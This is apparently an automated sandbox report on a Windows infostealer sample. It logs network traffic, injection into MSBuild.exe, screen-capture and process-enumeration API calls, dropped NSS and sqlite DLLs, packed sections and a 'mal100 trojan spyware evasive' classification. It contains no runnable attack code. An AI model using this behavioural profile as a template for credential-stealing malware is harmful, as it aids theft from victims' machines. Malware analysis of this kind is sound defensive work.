Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49939
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49938
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49937
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49936
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49935
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 49902 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49934
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49933
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49931
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49930
Source: unknown	Network traffic detected: HTTP traffic on port 49925 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49971 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49936 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49876 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49960 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49809
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49808
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49929
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49928
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49927
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49926
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49925
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49803
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49924
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49802
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49923

Source: unknown	HTTPS traffic detected: 13.107.253.45:443 -> 192.168.2.5:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.99:443 -> 192.168.2.5:49804 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.5:49943 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.99:443 -> 192.168.2.5:49967 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.253.45:443 -> 192.168.2.5:49996 version: TLS 1.2

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 9_2_00411F55 CreateStreamOnHGlobal,GetDesktopWindow,GetWindowRect,GetDC,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,BitBlt,GetHGlobalFromStream,GlobalLock,GlobalSize,SelectObject,DeleteObject,DeleteObject,ReleaseDC,CloseWindow,

9_2_00411F55

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0040145B GetCurrentProcess,NtQueryInformationProcess,	9_2_0040145B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_6CACB700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	9_2_6CACB700
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_6CACB8C0 rand_s,NtQueryVirtualMemory,	9_2_6CACB8C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_6CACB910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	9_2_6CACB910
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_6CA6F280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	9_2_6CA6F280

Source: C:\Users\user\Desktop\WiTqtf1aiE.exe	Code function: 0_2_005A2021	0_2_005A2021
Source: C:\Users\user\Desktop\WiTqtf1aiE.exe	Code function: 0_2_005D1868	0_2_005D1868
Source: C:\Users\user\Desktop\WiTqtf1aiE.exe	Code function: 0_2_005CF2D8	0_2_005CF2D8
Source: C:\Users\user\Desktop\WiTqtf1aiE.exe	Code function: 0_2_005ACAF2	0_2_005ACAF2
Source: C:\Users\user\Desktop\WiTqtf1aiE.exe	Code function: 0_2_005A729C	0_2_005A729C
Source: C:\Users\user\Desktop\WiTqtf1aiE.exe	Code function: 0_2_005BBB36	0_2_005BBB36
Source: C:\Users\user\Desktop\WiTqtf1aiE.exe	Code function: 0_2_005BD39B	0_2_005BD39B
Source: C:\Users\user\Desktop\WiTqtf1aiE.exe	Code function: 0_2_005D0438	0_2_005D0438
Source: C:\Users\user\Desktop\WiTqtf1aiE.exe	Code function: 0_2_005B3C92	0_2_005B3C92
Source: C:\Users\user\Desktop\WiTqtf1aiE.exe	Code function: 0_2_005A1D79	0_2_005A1D79
Source: C:\Users\user\Desktop\WiTqtf1aiE.exe	Code function: 0_2_005AFEF0	0_2_005AFEF0
Source: C:\Users\user\Desktop\WiTqtf1aiE.exe	Code function: 0_2_005B572C	0_2_005B572C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_00403560	2_2_00403560
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_00404990	2_2_00404990
Source: C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe	Code function: 8_2_00842021	8_2_00842021
Source: C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe	Code function: 8_2_0089A1EB	8_2_0089A1EB
Source: C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe	Code function: 8_2_0084729C	8_2_0084729C
Source: C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe	Code function: 8_2_0085D39B	8_2_0085D39B
Source: C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe	Code function: 8_2_0088E3A0	8_2_0088E3A0
Source: C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe	Code function: 8_2_00889494	8_2_00889494
Source: C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe	Code function: 8_2_0089A589	8_2_0089A589
Source: C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe	Code function: 8_2_0088652C	8_2_0088652C
Source: C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe	Code function: 8_2_0085572C	8_2_0085572C
Source: C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe	Code function: 8_2_00888734	8_2_00888734
Source: C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe	Code function: 8_2_0089A95B	8_2_0089A95B
Source: C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe	Code function: 8_2_0084CAF2	8_2_0084CAF2
Source: C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe	Code function: 8_2_0085BB36	8_2_0085BB36
Source: C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe	Code function: 8_2_00853C92	8_2_00853C92
Source: C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe	Code function: 8_2_0089AD43	8_2_0089AD43
Source: C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe	Code function: 8_2_00899D56	8_2_00899D56
Source: C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe	Code function: 8_2_00841D79	8_2_00841D79
Source: C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe	Code function: 8_2_0084FEF0	8_2_0084FEF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0041C5BC	9_2_0041C5BC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0041B85C	9_2_0041B85C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0042DA83	9_2_0042DA83
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0042D313	9_2_0042D313
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_00419654	9_2_00419654
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0042DE6B	9_2_0042DE6B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0042CE7E	9_2_0042CE7E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0042D6B1	9_2_0042D6B1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_6CA635A0	9_2_6CA635A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_6CAC34A0	9_2_6CAC34A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_6CACC4A0	9_2_6CACC4A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_6CA76C80	9_2_6CA76C80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_6CA6D4E0	9_2_6CA6D4E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_6CAA6CF0	9_2_6CAA6CF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_6CA764C0	9_2_6CA764C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_6CA8D4D0	9_2_6CA8D4D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_6CAD542B	9_2_6CAD542B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_6CADAC00	9_2_6CADAC00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_6CAA5C10	9_2_6CAA5C10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_6CAB2C10	9_2_6CAB2C10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_6CA75440	9_2_6CA75440
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_6CAD545C	9_2_6CAD545C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_6CAC85F0	9_2_6CAC85F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_6CAA0DD0	9_2_6CAA0DD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_6CA7FD00	9_2_6CA7FD00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_6CA8ED10	9_2_6CA8ED10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_6CA90512	9_2_6CA90512
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_6CAC4EA0	9_2_6CAC4EA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_6CACE680	9_2_6CACE680
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_6CA85E90	9_2_6CA85E90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_6CAD76E3	9_2_6CAD76E3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_6CA6BEF0	9_2_6CA6BEF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_6CA7FEF0	9_2_6CA7FEF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_6CAC9E30	9_2_6CAC9E30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_6CAB5600	9_2_6CAB5600
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_6CAA7E10	9_2_6CAA7E10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_6CAD6E63	9_2_6CAD6E63
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_6CA6C670	9_2_6CA6C670
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_6CAB2E4E	9_2_6CAB2E4E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_6CA84640	9_2_6CA84640
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_6CA89E50	9_2_6CA89E50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_6CAA3E50	9_2_6CAA3E50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_6CAB77A0	9_2_6CAB77A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_6CA6DFE0	9_2_6CA6DFE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_6CA96FF0	9_2_6CA96FF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_6CA79F00	9_2_6CA79F00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_6CAA7710	9_2_6CAA7710
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_6CA960A0	9_2_6CA960A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_6CA8C0E0	9_2_6CA8C0E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_6CAA58E0	9_2_6CAA58E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_6CAD50C7	9_2_6CAD50C7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_6CAAB820	9_2_6CAAB820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_6CAB4820	9_2_6CAB4820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_6CA77810	9_2_6CA77810
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_6CAAF070	9_2_6CAAF070
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_6CA88850	9_2_6CA88850
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_6CA8D850	9_2_6CA8D850
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_6CA6C9A0	9_2_6CA6C9A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_6CA9D9B0	9_2_6CA9D9B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_6CAA5190	9_2_6CAA5190
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_6CAC2990	9_2_6CAC2990
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_6CA7D960	9_2_6CA7D960
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_6CABB970	9_2_6CABB970
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_6CADB170	9_2_6CADB170
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_6CA8A940	9_2_6CA8A940
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_6CA622A0	9_2_6CA622A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_6CA94AA0	9_2_6CA94AA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_6CA7CAB0	9_2_6CA7CAB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_6CAD2AB0	9_2_6CAD2AB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_6CADBA90	9_2_6CADBA90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_6CA81AF0	9_2_6CA81AF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_6CAAE2F0	9_2_6CAAE2F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_6CAA8AC0	9_2_6CAA8AC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_6CAA9A60	9_2_6CAA9A60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_6CA6F380	9_2_6CA6F380
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_6CAD53C8	9_2_6CAD53C8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_6CAAD320	9_2_6CAAD320
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_6CA7C370	9_2_6CA7C370
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_6CA65340	9_2_6CA65340
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_6CC0ECD0	9_2_6CC0ECD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_6CBAECC0	9_2_6CBAECC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_6CC76C00	9_2_6CC76C00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_6CBBAC60	9_2_6CBBAC60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_6CC8AC30	9_2_6CC8AC30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_6CBB4DB0	9_2_6CBB4DB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_6CD3CDC0	9_2_6CD3CDC0
Source: C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe	Code function: 13_2_00842021	13_2_00842021
Source: C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe	Code function: 13_2_0089A1EB	13_2_0089A1EB
Source: C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe	Code function: 13_2_0084729C	13_2_0084729C
Source: C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe	Code function: 13_2_0085D39B	13_2_0085D39B
Source: C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe	Code function: 13_2_0088E3A0	13_2_0088E3A0
Source: C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe	Code function: 13_2_00889494	13_2_00889494
Source: C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe	Code function: 13_2_0089A589	13_2_0089A589
Source: C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe	Code function: 13_2_0088652C	13_2_0088652C
Source: C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe	Code function: 13_2_0085572C	13_2_0085572C
Source: C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe	Code function: 13_2_00888734	13_2_00888734
Source: C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe	Code function: 13_2_0089A95B	13_2_0089A95B
Source: C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe	Code function: 13_2_0084CAF2	13_2_0084CAF2
Source: C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe	Code function: 13_2_0085BB36	13_2_0085BB36
Source: C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe	Code function: 13_2_00853C92	13_2_00853C92
Source: C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe	Code function: 13_2_0089AD43	13_2_0089AD43
Source: C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe	Code function: 13_2_00899D56	13_2_00899D56
Source: C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe	Code function: 13_2_00841D79	13_2_00841D79
Source: C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe	Code function: 13_2_0084FEF0	13_2_0084FEF0

Source: Joe Sandbox View

Dropped File: C:\ProgramData\freebl3.dll EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: String function: 004047E8 appears 38 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: String function: 00410609 appears 71 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: String function: 004104E7 appears 37 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: String function: 6CAA94D0 appears 90 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: String function: 6CA9CBE8 appears 134 times
Source: C:\Users\user\Desktop\WiTqtf1aiE.exe	Code function: String function: 005A7B80 appears 49 times
Source: C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe	Code function: String function: 00856015 appears 34 times
Source: C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe	Code function: String function: 0088AC67 appears 52 times
Source: C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe	Code function: String function: 0087D3BF appears 44 times
Source: C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe	Code function: String function: 0088AD98 appears 46 times
Source: C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe	Code function: String function: 0084DE09 appears 42 times
Source: C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe	Code function: String function: 00847B80 appears 98 times

Source: C:\Users\user\Desktop\WiTqtf1aiE.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 528 -s 264

Source: WiTqtf1aiE.exe, 00000000.00000000.2078777081.00000000005DA000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameproquota.exej% vs WiTqtf1aiE.exe
Source: WiTqtf1aiE.exe	Binary or memory string: OriginalFilenameproquota.exej% vs WiTqtf1aiE.exe

Source: WiTqtf1aiE.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 22594e132764[1].exe.2.dr	Static PE information: Section: .data ZLIB complexity 0.9919974391805377
Source: 22594e132764.exe.2.dr	Static PE information: Section: .data ZLIB complexity 0.9919974391805377
Source: AEHIDAKECF.exe.9.dr	Static PE information: Section: .data ZLIB complexity 0.991176791958042
Source: a43486128347[1].exe.9.dr	Static PE information: Section: .data ZLIB complexity 0.991176791958042

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@25/49@14/5

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 9_2_6CAC7030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

9_2_6CAC7030

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 9_2_004114A5 CreateToolhelp32Snapshot,Process32First,Process32Next,CloseHandle,

9_2_004114A5

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 2_2_00402400 _invalid_parameter_noinfo_noreturn,SHGetFolderPathW,GetTickCount64,memmove,memmove,memmove,_invalid_parameter_noinfo_noreturn,memmove,_invalid_parameter_noinfo_noreturn,CoInitialize,CoCreateInstance,CoUninitialize,_invalid_parameter_noinfo_noreturn,

2_2_00402400

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\22594e132764[1].exe

Jump to behavior

Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess6980
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8076:120:WilError_03
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess7656
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess528
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess7912

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

File created: C:\Users\user\AppData\Local\Temp\IDSM

Jump to behavior

Source: WiTqtf1aiE.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\WiTqtf1aiE.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: MSBuild.exe, 00000009.00000002.2655760524.00000000326DB000.00000004.00000020.00020000.00000000.sdmp, softokn3[1].dll.9.dr, softokn3.dll.9.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: MSBuild.exe, 00000009.00000002.2668776778.000000006CD3F000.00000002.00000001.01000000.0000000A.sdmp, MSBuild.exe, 00000009.00000002.2661186202.000000003E5B6000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.2641385828.000000001A387000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.2646254034.00000000202F8000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.9.dr, sql[1].dll.9.dr, nss3[1].dll.9.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: MSBuild.exe, 00000009.00000002.2655760524.00000000326DB000.00000004.00000020.00020000.00000000.sdmp, softokn3[1].dll.9.dr, softokn3.dll.9.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: MSBuild.exe, 00000009.00000002.2668776778.000000006CD3F000.00000002.00000001.01000000.0000000A.sdmp, MSBuild.exe, 00000009.00000002.2661186202.000000003E5B6000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.2641385828.000000001A387000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.2646254034.00000000202F8000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.9.dr, sql[1].dll.9.dr, nss3[1].dll.9.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: MSBuild.exe, 00000009.00000002.2668776778.000000006CD3F000.00000002.00000001.01000000.0000000A.sdmp, MSBuild.exe, 00000009.00000002.2661186202.000000003E5B6000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.2641385828.000000001A387000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.2646254034.00000000202F8000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.9.dr, sql[1].dll.9.dr, nss3[1].dll.9.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
